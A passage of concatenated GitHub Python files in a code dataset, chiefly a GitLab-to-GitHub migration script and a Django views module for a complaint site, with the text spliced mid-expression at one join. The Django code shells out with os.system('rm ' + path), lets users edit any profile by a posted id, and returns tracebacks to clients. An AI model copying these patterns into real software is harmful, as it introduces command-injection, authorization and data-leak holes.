plt.scatter(X[fronteira, 0], X[fronteira, 1], c = 'green')\n\n# contorno\nN = 100\nli = 0\nls = 6\nxx = np.linspace(li, ls, N)\nyy = np.linspace(li, ls, N)\nXX, YY = np.meshgrid(xx, yy)\nZ = np.zeros(shape = XX.shape)\nfor i in range(N):\n for j in range(N):\n x = XX[i, j]\n y = YY[i, j]\n Z[i, j] = clf.predict(np.array([x, y]).reshape(1, 2))\nplt.contour(XX, YY, Z)\n# plt.imshow(Z)\n","repo_name":"josegfer/rp-20221","sub_path":"draft/draft.py","file_name":"draft.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25003330056","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# ghlutil.py: A tiny utility to migrate repositories (especially issues) from\n# Gitlab to Github (Enterprise)\n#\n# License:\n# Apache License, Version 2.0\n# History:\n# * 2023/02/05 v0.1 Initial version\n# Author:\n# Masanori Itoh \n# NOTE:\n# * UNDER DEVELOPMENT!!\nimport json\nimport yaml\nimport sys\nimport time\nimport github.GithubObject as gho\nfrom github.GithubObject import NotSet\nimport argparse\n\ndef op_gitlab_auth(url, token):\n import gitlab\n gl = gitlab.Gitlab(url=url, private_token=token)\n gl.auth()\n return gl\n\ndef op_gitlab(gl, group, project):\n nsprj = '%s/%s' % (group, project)\n project = gl.projects.get(nsprj)\n #\n # group labels\n #\n labels = project.labels.list()\n for label in labels:\n print(label)\n #\n # issues\n #\n issues = project.issues.list(all=True)\n num_issues = len(issues)\n num_opened_issues = 0\n for issue in issues:\n if issue.state == 'opened':\n notes = issue.notes.list()\n print('%s %s %s %s (#notes = %d)' % (issue.id, issue.iid, issue.title, issue.state, len(notes)))\n num_opened_issues += 1\n if issue.iid == 157:\n print(issue)\n for note in notes:\n print(note)\n print('all / opened = %d / %d' % (num_issues, num_opened_issues))\n\n\ndef op_gitlab_labels(gl, group, project):\n gl_labels = list()\n\n nsprj = '%s/%s' % (group, project)\n project = gl.projects.get(nsprj)\n labels = project.labels.list()\n for label in labels:\n print(label)\n gl_labels.append({'name': label.name, 'color': label.color, 'description': label.description, 'id': label.id})\n\n print(yaml.dump(gl_labels))\n\n gl_label_file = 'gl_labels.yaml'\n with open(gl_label_file, 'w') as fp:\n yaml.dump(gl_labels, fp, encoding='utf-8', allow_unicode=True)\n\n\ndef op_gitlab_issues(gl, group, project, op=None):\n nsprj = '%s/%s' % (group, project)\n #print(nsprj)\n project = gl.projects.get(nsprj)\n issues = project.issues.list(all=True)\n num_issues = len(issues)\n num_opened_issues = 0\n\n gl_issues = list()\n\n if op == 'list':\n for issue in issues:\n gl_issues.append({'id': issue.iid,\n 'title': issue.title,\n 'state': issue.state,\n 'labels': issue.labels,\n 'description': issue.description})\n num_opened_issues += 1\n if issue.iid == 170:\n print(issue)\n print(gl_issues[0])\n\n elif op == 'save' :\n gl_issues_file = 'gl_issues.yaml'\n with open(gl_issues_file, 'w') as fp:\n yaml.dump(gl_issues, fp, encoding='utf-8', allow_unicode=True)\n#\n# github\n#\ndef op_github_auth(url, token):\n from github import Github\n gh = Github(base_url=url, login_or_token=token)\n return gh\n\ndef op_github(gh, organizatin, repository):\n return\n\n\ndef op_github_labels(gl, organization, repository, op=None):\n gh_labels = list()\n\n repo = None\n # 'group' is required. Either 'organization' or 'owner'\n repo = gh.get_repo('%s/%s' % (organization, repository))\n #\n print('repo: %s found' % (repo))\n #\n\n if op == 'list':\n labels = repo.get_labels()\n label_to_delte = None\n for label in labels:\n #print(label, label.name, (label.color), label.description, label.url)\n gh_labels.append({'name': label.name, 'color': label.color, 'description': label.description})\n if label.name == 'mitoh1':\n print('deleteing label: %s' % (label.name))\n label.delete()\n break\n print(yaml.dump(gh_labels))\n\n if op == 'delete':\n labels = repo.get_labels()\n label_to_delte = None\n for label in labels:\n print('deleteing label: %s' % (label.name))\n label.delete()\n\n elif op == 'save':\n print(yaml.dump(gh_labels))\n gh_label_file = 'gh_labels.yaml'\n with open(gh_label_file, 'w') as fp:\n yaml.dump(gh_labels, fp, encoding='utf-8', allow_unicode=True)\n\n elif op == 'migrate':\n gl_label_file = 'gl_labels.yaml'\n gl_labels_db = None\n with open(gl_label_file) as fd:\n gl_labels_db = yaml.load(fd, Loader=yaml.SafeLoader)\n if not gl_labels_db:\n print('failed to load gitlab label file')\n sys.exit()\n print(len(gl_labels_db))\n gl_labels = dict()\n for label in gl_labels_db:\n if not label['name'] in gl_labels.keys():\n gl_labels[label['name']] = {\n 'color': label['color'].replace('#', '').lower(),\n 'description': label['description']\n }\n #print('%s %s %s' % (label['name'],\n # label['color'],\n # label['description']))\n #print(len(gl_labels_db), gl_labels_db)\n #print(len(gl_labels), gl_labels)\n for k in gl_labels.keys():\n print(k, gl_labels[k]['color'], gl_labels[k]['description'])\n if gl_labels[k]['description']:\n repo.create_label(k,\n gl_labels[k]['color'],\n description=gl_labels[k]['description'])\n else:\n repo.create_label(k, gl_labels[k]['color'])\n\ndef op_github_issues(gh, organizatin, repository, op=None):\n\n repo = gh.get_repo('%s/%s' % (organization, repository))\n if not repo:\n print('repository: %s not found' % (repository))\n return\n\n # open src repository issuel list\n issues_file = 'gl_issues.yaml'\n issues_list = None\n with open(issues_file) as fd:\n issues_list = yaml.load(fd, Loader=yaml.SafeLoader)\n\n print('source repository issue file \\'%s\\' opened. %d issues. ' % (issues_file, len(issues_list)))\n # reserve issue numbers\n #op = 'reserve_issue_numbers'\n op = 'migrate_issue_bodies'\n #\n # reserve github issue 'number'\n #\n if op == 'reserve_issue_numbers':\n print('list of issues')\n new_issues = repo.get_issues(state='all')\n for issue in new_issues:\n print(issue.id, issue.number, issue)\n\n sys.exit()\n for num in range(1, len(issues_list) + 1):\n print('creating issue %d' % (num))\n repo.create_issue('issue %d placeholder' % num, body='')\n time.sleep(1)\n\n print('list of issues')\n new_issues = repo.get_issues(state='all')\n for issue in new_issues:\n print(issue)\n #\n #\n #\n elif op == 'migrate_issue_bodies':\n for issue in issues_list:\n # gitlab issue['id'] is 'number'\n # get_issue() not get_issues()\n gh_issue = repo.get_issue(issue['id'])\n print(gh_issue)\n gh_issue.edit(title=issue['title'], body=issue['description'],\n milestone=None)\n time.sleep(1)\n\nif __name__ == \"__main__\":\n\n config_file = 'config.yaml'\n conf = None\n url = None\n token = None\n organization = None\n repository = None\n scm_type = None\n profile = None\n\n parser = argparse.ArgumentParser(description='ghlutil.py')\n parser.add_argument('--profile', default='ghe_destination')\n parser.add_argument('-c', '--config', default='config.yaml')\n parser.add_argument('-t', '--target', default='issue')\n parser.add_argument('-o', '--operation', default='list')\n args = parser.parse_args()\n\n with open(args.config) as fd:\n conf = yaml.load(fd, Loader=yaml.SafeLoader)\n if not conf:\n print('Specify a config file')\n sys.exit()\n print('searching \\'%s\\' in %s' % (args.profile, args.config))\n for p in conf['profiles']:\n print(p['name'], p['scm_type'], p['url'], p['organization'], p['repository'])\n if p['name'] == args.profile:\n url = p['url']\n token = p['token']\n organization = p['organization']\n repository = p['repository']\n scm_type = p['scm_type']\n break\n #\n #\n op = args.operation\n print(scm_type, args.target)\n if scm_type == 'gitlab':\n gl = op_gitlab_auth(url, token)\n if args.target == 'issue':\n op_gitlab_issues(gl, organization, repository, op=op)\n elif args.target == 'label':\n op_gitlab_labels(gl, organization, repository)\n #op_gitlab(gl, organization, repository)\n\n elif scm_type == 'github':\n gh = op_github_auth(url, token)\n if args.target == 'issue':\n op_github_labels(gh, organization, repository, op=op)\n elif args.target == 'label':\n op_github_issues(gh, organization, repository, op=op)\n #op_github(gh, organization, repository)\n\n","repo_name":"thatsdone/junkbox","sub_path":"utils/ghlutil/ghlutil.py","file_name":"ghlutil.py","file_ext":"py","file_size_in_byte":8940,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"8895768770","text":"from rle import *\nfrom huffman import *\nfrom utils import *\n\nclass Information:\n\n # Information provides interface to work with streams of data\n # It is able to read certain files both BINARY and TEXT way;\n # Detect file type automatically (BINARY or TEXT)\n # Pack and unpack with RLE and Huffman algorithms\n\n # little-endian\n\n BYTE = 0\n TEXT = 1\n\n RLE = 0\n HUFFMAN = 1\n def __init__(self):\n self.sequence = None\n self.filetype = None\n self.algorithm = RLE\n\n # Reads sequences of data from file {path} and remembers it in self.sequence\n def read_sequence(self, path):\n\n # Read binary\n if self.filetype == Information.BYTE:\n with open(path, \"rb\") as file:\n sequence = []\n while True:\n chunk = file.read(1)\n if chunk == b\"\":\n break\n sequence.append(hex(struct.unpack(\"0:\n ret['success'] = False\n ret['message'] = \"username/email already taken\"\n return JsonResponse(ret)\n\n newUser = User(username=username,\n first_name=firstName,\n last_name=lastName,\n email=email)\n newUser.set_password(password)\n newUser.save()\n usr = newUser\n account = Account(user=newUser)\n account.save()\n acc = account\n user = authenticate(username=username, password=password)\n ret['success'] = True\n ret['message'] = \"successfully signed up\"\n code = generate_code()\n account.verification_key = code\n account.save()\n mail_send(code, email)\n #login(request, user)\n return JsonResponse(ret)\n except Exception as e:\n u = User.objects.filter(username=username)\n if len(u)==1:\n a = Account.objects.filter(user=u)\n a.delete()\n u.delete()\n ret['success'] = False\n ret['message'] = \"Can't sign up right now. Please try social login\"\n return JsonResponse(ret)\n\nclass Post(View):\n context = {}\n def get(self, request, thread_type):\n if not request.user.is_authenticated():\n return redirect('login')\n if thread_type=='complaint':\n self.context['thread_type'] = 'complaint'\n elif thread_type=='discussion':\n self.context['thread_type'] = 'discussion'\n else:\n raise Http404('URL: '+reverse('post', args=[thread_type])+' not found')\n self.context['form_heading'] = 'Post a '+thread_type\n return render(request, \"complain/post-thread.html\", self.context)\n \n def post(self, request):\n if not request.user.is_authenticated():\n return redirect('login')\n\n # check if anonymous\n anonymous = request.POST.get('anonymous', '')\n\n thread_type= request.POST.get('thread_type', '')\n thread_type='complaint'\n\n if thread_type=='' or thread_type not in ['complaint', 'discussion']:\n raise Http404('invalid thread type')\n\n if thread_type=='complaint': th_type = COMPLAINT\n elif thread_type=='discussion': th_type = DISCUSSION\n else: th_type = COMPLAINT\n\n title = request.POST.get('title', '')\n content = request.POST.get('content', '')\n tags = request.POST.get('tags', '')\n ''' MULTIPLE FILES UPLOAD\n for afile in request.FILES.getlist('files'):\n File(file=afile, files=test).save()\n '''\n \n if content =='': # or title==''\n return redirect('index')\n #self.context['message'] = 'Title/content can\\'t be empty'\n #return self.get(request, thread_type)\n\n # now with storage of the thread\n account = Account.objects.get(user=request.user)\n thread = Thread(thread_type=th_type, title=title, \n content=content, account=account)\n if anonymous==\"yes\":\n thread.anonymous = True\n else: thread.anonymous = False\n\n thread.save()\n # now the tags\n strtagids = request.POST.get('tagids', '')\n #return HttpResponse(strtagids)\n #tagids = list(map(lambda x: int(x),strtagids.split(',')))\n tagids = []\n for x in strtagids.split(','):\n try:\n tagids.append(int(x))\n except ValueError:\n pass\n if tagids==[]:\n thread.tags.add(ThreadTag.objects.get(name__icontains='Not-Specified'))\n for tagid in tagids:\n thread.tags.add(ThreadTag.objects.get(pk=tagid))\n thread.save()\n\n # now the targets\n strtargetids = request.POST.get('targetids', '')\n targetids = []\n for x in strtargetids.split(','):\n try:\n targetids.append(int(x))\n except ValueError:\n pass\n for tid in targetids:\n thread.targets.add(Target.objects.get(pk=tid))\n if len(targetids)==0:\n t = Target.objects.filter(name__icontains='udghos')\n if not len(t)==0:\n thread.targets.add(t[0])\n thread.save()\n\n images = request.FILES.getlist('images')\n for image in images:\n img = ThreadImage(name=image.name, thread=thread)\n img.save()\n img.image = image # to get pk of image object\n img.save()\n\n return redirect('index')\n\n\ndef calculate_delta_vote(action, upvotes, downvotes): \n return (1+action)/2 * (-2*upvotes + downvotes + 1) \\\n + (1-action)/2 *(2*downvotes - upvotes - 1)\n\n\ndef vote_thread(request, thread_id, account, action): # action is 1 for upvote and -1 for downvote\n thread = Thread.objects.get(id=thread_id)\n upvotes = ThreadUpvote.objects.filter(account=account, thread=thread)\n n_ups = len(upvotes)\n downvotes = ThreadDownvote.objects.filter(account=account, thread=thread)\n n_downs = len(downvotes)\n\n useraction = \"\"\n\n event = None\n if n_ups==1 and action==1:\n useraction='undo'\n upvotes[0].delete()\n elif n_ups==0 and action==1:\n useraction=\"support\" # support = upvote\n event=SUPPORTED\n upvote = ThreadUpvote.objects.create(account=account, thread=thread)\n upvote.save()\n # delete existing downvote\n if n_downs==1:downvotes[0].delete()\n elif n_downs==1 and action==-1:\n useraction='undo'\n downvotes[0].delete()\n elif n_downs==0 and action==-1:\n event=DOWNVOTED\n useraction=\"thumb down\"\n downvote = ThreadDownvote.objects.create(account=account, thread=thread)\n downvote.save()\n # delete existing upvote\n if n_ups==1: \n upvotes[0].delete()\n elif n_ups==0 and n_downs==0:pass\n else: raise Exception('error in vote evaluation')\n\n delta_vote = int(calculate_delta_vote(action, n_ups, n_downs))\n thread.votes+=delta_vote\n thread.save()\n acc = Account.objects.get(user=request.user)\n if acc != thread.account and event!=None:\n notif = Notification.objects.create(fromuser=acc,\n touser=thread.account, thread=thread, event=event)\n notif.save()\n return {\"action\":useraction, \"increment\":delta_vote}\n\ndef vote_comment(comment_id, account, action):\n comment = Comment.objects.get(id=comment_id)\n upvotes = CommentUpvote.objects.filter(account=account, comment=comment)\n n_ups = len(upvotes)\n downvotes = CommentDownvote.objects.filter(account=account, comment=comment)\n n_downs = len(downvotes)\n\n if n_ups==1 and action==1:\n upvotes[0].delete()\n elif n_ups==0 and action==1:\n upvote = CommentUpvote.objects.create(account=account, comment=comment)\n upvote.save()\n # delete existing downvote\n if n_downs==1:downvotes[0].delete()\n elif n_downs==1 and action==-1:\n downvotes[0].delete()\n elif n_downs==0 and action==-1:\n downvote = CommentDownvote.objects.create(account=account, comment=comment)\n downvote.save()\n # delete existing upvote\n if n_ups==1: upvotes[0].delete()\n elif n_downs==0 and n_ups==0:pass\n else: raise Exception('error in vote evaluation')\n\n delta_vote = int(calculate_delta_vote(action, n_ups, n_downs))\n comment.votes+=delta_vote\n comment.save()\n return delta_vote\n\ndef update_user_points(owner, voter, item, delta):\n if item=='thread':\n factor = 10 # hight weightage for threads\n else: # comment\n factor = 7 # less weightage for comments\n voter_points = voter.points\n item_votes = item.votes\n d_points = factor * math.e**(voter_points/100 - item_votes/10) * delta\n owner.points += d_points\n owner.save()\n return d_points\n\n\ndef vote(request):\n val = {'upvote':1, 'downvote':-1}\n if request.method=='POST':\n try:\n item = request.POST['vote_item']\n object_id = int(request.POST['object_id'])\n vote_type = request.POST.get('type', '')\n\n if request.user.is_authenticated():\n\n user = request.user\n account = Account.objects.get(user=user)\n\n # get the commment object if vote is for comment\n #comment_id = request.POST['comment_id'] # -1 if not a comment vote\n owner = None # owner is the user whose point/rating is to be updated \n itm = object\n voter = account\n delta = None\n if item=='comment':\n itm = Comment.objects.get(id=object_id)\n owner = itm.account\n delta = vote_comment(object_id, account, val[vote_type])\n return HttpResponse(delta)\n else:\n itm = Thread.objects.get(id=object_id)\n owner = itm.account\n vote_dict = vote_thread(request, object_id, account, val[vote_type])\n return JsonResponse(vote_dict)\n update_user_points(owner, voter, item, delta)\n except Exception as e:\n return HttpResponse(traceback.format_exc())\n \n\nclass ThreadPage(View):\n context = {}\n\n def get(self, request, thread_id=None):\n if request.user.is_authenticated():\n self.context['user'] = request.user\n self.context['authenticated'] = True\n self.context['notifications'] = get_notifications(request)\n self.context['profile_pic'] = Account.objects.get(user=request.user).profile_pic\n else:\n self.context['authenticated'] = False\n\n threads = Thread.objects.filter(id=thread_id)\n if len(threads)>0:\n self.context['id'] = threads[0].id\n self.context['title'] = threads[0].title\n self.context['description'] = threads[0].content[:140] + '...'\n from .ThreadViews import REQUIRED_VOTES as req\n self.context['votes'] = threads[0].votes\n self.context['required'] = req\n img = ThreadImage.objects.filter(thread=threads[0])\n if len(img)>0:\n self.context['image'] = img[0].name \n else:\n self.context['image'] = None\n return render(request, \"complain/post.html\", self.context)\n\n\ndef comment(request):\n if request.method=='POST':\n try:\n content = request.POST['comment']\n if request.user.is_authenticated() and content.strip()!='':\n thread_id = int(request.POST['thread_id'])\n account = Account.objects.get(user=request.user)\n thread = Thread.objects.get(id=thread_id)\n # get comments, so that the commenting users could be notified\n comments = Comment.objects.filter(thread=thread)\n notified_users = []\n for comment in comments:\n if comment.account not in notified_users:\n if account != comment.account:\n notif = Notification.objects.create(fromuser=account, touser=comment.account,event=COMMENTED,thread=thread)\n notif.save()\n\n\n comment = Comment(account=account, \n thread=thread, text=content)\n comment.save()\n ret = {}\n ret['comment'] = {\"comment\":comment.text,\n 'date':comment.time.strftime(\"%I:%M %p, %d %b %Y\"),\n \"user\":comment.account.user.username\n }\n return JsonResponse(ret)\n #return redirect(reverse('thread', args=[str(thread_id)]))\n except TypeError:\n return HttpResponse('Invalid thread id')\n except Exception as e:\n return HttpResponse(e.args)\n return HttpResponse('nope')\n #return redirect('index')\n\n\ndef reply(request):\n if request.method=='POST':\n try:\n content = request.POST['reply']\n if request.user.is_authenticated() and content.strip()!='':\n thread_id = int(request.POST['thread_id'])\n comment_id = int(request.POST['comment_id'])\n account = Account.objects.get(user=request.user)\n comment = Comment.objects.get(id=comment_id)\n\n reply = Reply(account=account, \n comment=comment, text=content)\n reply.save()\n return redirect(reverse('thread', args=[str(thread_id)]))\n except TypeError:\n return HttpResponse('Invalid thread id')\n except Exception as e:\n return HttpResponse(e.args)\n return redirect('index')\n\ndef new_social(request):\n if request.method==\"GET\":\n return render(request, \"complain/new-social.html\", {})\n else:\n uid = request.POST.get(\"userid\", \"\")\n uname = request.POST.get(\"username\", \"\")\n if uid == \"\":\n raise Http404(\"user not found\")\n if uname == \"\":\n return render(request, \"complain/new-social.html\", \n {\"message\":\"username can't be empty\"}\n )\n else:\n try:\n user = User.objects.get(id=int(uid))\n usrs = User.objects.filter(username=uname)\n if len(usrs) > 1:\n return render(request, \"complain/new-social.html\", \n {\"message\":\"username not available\"}\n )\n user.username = uname\n user.save()\n # Create Account\n acc = Account(user=user, verified=True, address=\"\")\n acc.save()\n return HttpResponseRedirect(\"/\")\n except:\n raise Http404(\"user not found\")\n\n\n# for tags\ndef get_tags(request):\n if request.method=='GET':\n query = request.GET.get('query','')\n if query!='':\n tags = ThreadTag.objects.filter(name__contains=query)\n d = [] \n for x in tags:\n d.append({'id':x.id,'name':x.name})\n return JsonResponse({'items':d})\n else:\n return JsonResponse({'items':[]})\n\ndef get_targets(request):\n if request.method=='GET':\n query = request.GET.get('query', '').strip()\n if query !='':\n words = query.split(' ')\n d = []\n temp = []\n for word in words:\n items = Target.objects.filter(name__contains=word)\n for x in items:\n if x not in temp:\n temp.append(x)\n for x in temp:\n d.append({'id':x.id, 'name':x.name}) \n return JsonResponse({'items':d})\n else:\n return JsonResponse({'items':[]})\n \n\nclass Profile(View):\n def get(self,request, profileid):\n self.context = {}\n if request.user.is_authenticated():\n try:\n profileid = int(profileid)\n except Exception:\n raise Http404('user not found')\n self.context['authenticated'] = True\n self.context['user'] = request.user\n acc = Account.objects.get(user_id=profileid)\n useracc = Account.objects.get(user=request.user)\n tags = useracc.tags_followed.all()\n self.context['address'] = acc.address\n self.context['profile_pic'] = useracc.profile_pic\n self.context['user_pic'] = acc.profile_pic\n self.context['notifications'] = get_notifications(request)\n self.context['account'] = acc\n self.context['about'] = acc.about\n self.context['edit'] = False\n self.context['tags'] = tags\n if request.user.id==profileid:\n self.context['edit'] = True\n else:\n self.context['authenticated'] = False\n return render(request, \"complain/profile.html\",self.context)\n\ndef image_update(request):\n if request.user.is_authenticated():\n uid = int(request.POST['userid'])\n account = Account.objects.get(pk=uid)\n image = request.FILES.get('image')\n if image is None:\n return redirect('profile', uid)\n if image is not None:\n try:\n curr_img = account.profile_pic.path\n os.system('rm '+curr_img)\n except:\n pass\n finally:\n account.profile_pic = image\n account.save()\n return redirect('profile', uid)\n\ndef profile_update(request):\n try:\n ret = {}\n username = request.POST['username']\n firstname = request.POST['first-name']\n lastname = request.POST['last-name']\n address = request.POST['address']\n about = request.POST['about']\n uid = request.POST['userid']\n try:\n image = request.FILES['image']\n except:\n pass\n try:\n uid = int(uid)\n except:\n ret['success'] = False\n ret['error'] = \"Can't update profile. Try later.\"\n return JsonResponse(ret)\n\n # get account\n acc = Account.objects.get(pk=uid)\n usr = acc.user\n # check username exists or not\n usrs = User.objects.filter(username=username)\n\n if len(usrs)!=0 and usrs[0].pk != usr.pk:\n ret['success'] = False\n ret['error'] = \"Username exists. Try next one\"\n return JsonResponse(ret)\n\n usr.first_name = firstname\n usr.last_name = lastname\n usr.username=username\n acc.address = address\n acc.about = about;\n usr.save()\n acc.save()\n\n new_tags = request.POST.get('new_tags','')\n removed_tags = request.POST.get('removed_tags','')\n\n try:\n if new_tags!='':\n tags_new = list(map(lambda x: int(x), new_tags.split(',')))\n for x in tags_new:\n tag = ThreadTag.objects.get(id=x)\n acc.tags_followed.add(tag)\n acc.save()\n\n if removed_tags!='':\n tags_removed = list(map(lambda x:int(x),removed_tags.split(',')))\n for x in tags_removed:\n tag = ThreadTag.objects.get(id=x)\n acc.tags_followed.remove(tag)\n acc.save()\n except Exception as e:\n print(repr(e)) \n\n ret['success'] = True\n ret['error'] = \"Changed profile\"\n return(JsonResponse(ret))\n\n except ObjectDoesNotExist:\n ret['success'] = False\n ret['error'] = \"No user found. Please refresh and try later\"\n return JsonResponse(ret)\n except KeyError:\n ret['success'] = False\n ret['error'] = \"Can't update profile. Try later.\"\n return JsonResponse(ret)\n except Exception as e:\n ret['success'] = False\n ret['error'] = repr(e)\n return(JsonResponse(ret))\n\ndef staff_page(request):\n if request.method==\"GET\" and request.user.is_staff:\n threads = Thread.objects.filter(status=0)\n return render(request, \"complain/staff-page.html\", {'threads':threads})\n else :\n raise Http404\n\ndef okay(request):\n if request.user.is_staff and request.method==\"POST\":\n try:\n pk = request.POST['id']\n thrd = Thread.objects.get(id=int(pk))\n thrd.status = VERIFIED\n thrd.save()\n return JsonResponse({'success':True})\n except Exception as e:\n return JsonResponse({'success':False, 'error':'something wrong' + repr(e)})\n else:\n return JsonResponse({'success':False,'error':'Invalid request or user'})\n\ndef edit(request):\n if request.user.is_staff and request.method==\"POST\":\n try:\n pk = request.POST['id']\n title = request.POST['title']\n content = request.POST['content']\n thrd = Thread.objects.get(id=int(pk))\n thrd.title = title\n thrd.content = content\n thrd.status=VERIFIED\n thrd.save()\n return JsonResponse({'success':True})\n except Exception as e:\n return JsonResponse({'success':False, 'error':repr(e)})\n else:\n return JsonResponse({'success':False, 'error':'something wrong'})\n\ndef delete(request):\n if request.user.is_staff:\n try:\n pk = int(request.GET['id'])\n thread = Thread.objects.filter(id=int(request.GET['id']))\n thread[0].delete()\n except Exception as e:\n pass\n finally:\n return redirect('staffpage')\n\nclass Concern(View):\n def get(self,request):\n self.context = {}\n if request.user.is_authenticated():\n acc = Account.objects.get(user=request.user)\n tags = list(acc.tags_followed.all())\n self.context['tags'] = tags\n self.context['address'] = acc.address\n self.context['profile_pic'] = acc.profile_pic\n self.context['notifications'] = get_notifications(request)\n\n self.context['authenticated'] = True\n else:\n self.context['authenticated'] = False\n return render(request, \"complain/post-concern.html\",self.context)\n\nclass Mynotifications(View):\n def get(self,request):\n self.context = {}\n if request.user.is_authenticated():\n acc = Account.objects.get(user=request.user)\n tags = list(acc.tags_followed.all())\n self.context['tags'] = tags\n self.context['address'] = acc.address\n self.context['profile_pic'] = acc.profile_pic\n self.context['notifications'] = get_notifications(request)\n\n self.context['authenticated'] = True\n else:\n self.context['authenticated'] = False\n return render(request, \"complain/mynotifications.html\",self.context)\n\n\nclass Settings(View):\n def get(self,request):\n self.context = {}\n if request.user.is_authenticated():\n acc = Account.objects.get(user=request.user)\n tags = list(acc.tags_followed.all())\n self.context['tags'] = tags\n self.context['address'] = acc.address\n self.context['profile_pic'] = acc.profile_pic\n self.context['notifications'] = get_notifications(request)\n self.context['password_set'] = True if request.user.has_usable_password() else False\n\n self.context['authenticated'] = True\n return render(request, \"complain/settings.html\",self.context)\n else:\n return redirect('index') \n\ndef mark_read_notifications(request):\n if request.user.is_authenticated():\n notifs = Notification.objects.filter(read=False)\n for x in notifs:\n x.read=True\n x.save()\n return JsonResponse({'success':True})\n else:\n return JsonResponse({'success':False})\n\ndef get_notifications(request):\n if request.user.is_authenticated():\n acc = Account.objects.get(user=request.user)\n notifs = Notification.objects.filter(read=False, touser=acc)\n dicts = list(map(get_notification_dict, list(notifs)))\n return dicts\n #return JsonResponse({'notifications':dicts, 'success':True})\n else:\n return []\n #return JsonResponse({'notifications':[], 'success':False})\n\ndef get_notification_dict(notification):\n ret={}\n if notification.thread is not None:\n ret['thread'] = notification.thread.id\n else:ret['thread'] = None\n ret['by'] = notification.fromuser.user.username\n ret['by_image'] = notification.fromuser.profile_pic\n ret['message'] = -1\n if notification.event==COMMENTED:\n ret['type']='comment'\n elif notification.event==SUPPORTED:\n ret['type']='support'\n elif notification.event==DOWNVOTED:\n ret['type']='downvote'\n else:\n ret['type']='message'\n return ret\n\n\n####################\n# GET ACTIVITIES\n####################\ndef get_activities(request):\n if request.user.is_authenticated():\n page = request.GET.get('page','')\n\n activities_list = Activity.objects.filter(account__user=request.user).order_by('-date')\n paginator = Paginator(activities_list, 5)\n\n try:\n activities = paginator.page(page)\n except PageNotAnInteger:\n activities = paginator.page(1)\n except EmptyPage:\n activities = paginator.page(paginator.num_pages)\n\n ret = {}\n ret['end'] = False if activities.has_next() else True\n if activities.has_next():\n ret['next'] = activities.next_page_number()\n else: ret['next'] = None\n ret['activities'] = dict_activities(activities.object_list)\n return JsonResponse(ret)\n return JsonResponse({'activities':[], 'end':True})\n\n\n\ndef dict_activities(activities):\n l = []\n for each in activities:\n activity = {}\n activity['action'] = dict_activity_type[each.activity_type]\n activity['time'] = time_since_event(each.date)\n activity['thread'] = {'id':each.thread.id, \n 'title':each.thread.title}\n l.append(activity)\n return l\n\n\n\ndef change_password(request):\n if request.method=='POST' or 1:\n if request.user.is_authenticated():\n old_password = request.POST.get('old-password', '')\n if request.user.has_usable_password():\n if not request.user.check_password(old_password):\n return JsonResponse({'success':False,'message':'Old password does not match'})\n new_password = request.POST.get('new-password', '')\n if len(new_password) < 8:\n return JsonResponse({'success':False, 'message':'Password needs to be at least 8 characters long'})\n request.user.set_password(new_password)\n request.user.save()\n return JsonResponse({'success':True, 'message':'Successfully changed password'})\n else:\n return JsonResponse({'success':False, 'message':'GET method not expected'})\n\ndef verify_page(request):\n return render(request, \"complain/verify.html\")\n\ndef verify(request, code):\n if request.user.is_authenticated():\n return redirect('index')\n else:\n accs = Account.objects.filter(verification_key=code)\n if len(accs)==0:\n return HttpResponse('Invalid code. Go to Home')\n acc = accs[0]\n if acc.verified:\n acc.user.backend = 'django.contrib.auth.backends.ModelBackend'\n login(request, acc.user)\n return HttpResponse('Already Verified. Go to Home')\n acc.verified = True\n acc.save()\n acc.user.backend = 'django.contrib.auth.backends.ModelBackend'\n login(request, acc.user)\n return HttpResponse('Congratulations!! You are Verified. Go to Home')\n\ndef mail_send(code, email):\n subject, from_email, to = 'account verification', 'noreply@udghos.com', email\n text = \"Welcome to udghos.com. This is the email that lets you verify your account in udghos.com. The following is the link to verify:\"\n html = 'Please verify your account by clicking this link: udghos.com/verify/'+str(code)+''\n msg = EmailMultiAlternatives(subject, \"\", from_email, [to])\n msg.attach_alternative(html, \"text/html\")\n msg.send()\n\nkeys = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'\n\ndef generate_code(n=10):\n s = ''\n l = len(keys)\n for x in range(n):\n s+= keys[random.randrange(0,l)]\n return s\n\n\ndef post_review(request):\n if request.method==\"POST\":\n if request.user.is_authenticated():\n acc = Account.objects.get(user=request.user)\n else:acc = None\n\n title = request.POST.get('review-title','').strip()\n content = request.POST.get('review-content', '').strip()\n if content!='':\n review = Review(title=title, content=content, account=acc)\n review.save()\n return render(request, \"complain/common.html\", {\"message\":\"Thank you so much for your reveiw!!\"})\n\ndef stay_tuned(request):\n return render(request, 'complain/common.html', {\"message\":\"We are Almost Done. STAY TUNED!!\"}) \n\ndef how_it_works(request):\n return render(request, 'complain/how-it-works.html',{}) \n\ndef about(request):\n return render(request, 'complain/about.html',{}) \n\n\n","repo_name":"bewakes/udghos","sub_path":"complain/views/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":33663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28992616199","text":"import random\n\nfrom src.NEAT.nna import NeatNeuralNetwork\nimport copy\nimport sys\nimport math\n\ndef get_fit(elem):\n\treturn elem.fitness\n\n\nclass Generation(object):\n\tdef __init__(self, population, data, label):\n\t\tself.data = data / 255\n\t\tself.label = label\n\t\tself.population = []\n\t\tfor i in range(population):\n\t\t\tnna = NeatNeuralNetwork(len(data[0]), 10, 20)\n\t\t\tnna.mutate()\n\t\t\tself.population.append(nna)\n\n\tdef cleanFitness(self):\n\t\tfor elem in self.population:\n\t\t\telem.fitness = 0\n\n\tdef run_generation(self):\n\t\tlendata = len(self.data)\n\t\tlenpopu = len(self.population)\n\t\tperc = 0\n\t\tfor i in range(lenpopu):\n\t\t\tfor y in range(lendata):\n\t\t\t\tout = self.population[i].run(self.data[y])\n\t\t\t\tfor z in range(len(out)):\n\t\t\t\t\tif z == self.label[y]:\n\t\t\t\t\t\tself.population[i].fitness += out[z] * 10\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.population[i].fitness += 1 - out[z]\n\t\t\t#if i / 10 > perc:\n\t\t\tsys.stdout.write('#')\n\t\t\tsys.stdout.flush()\n\t\t\tperc += 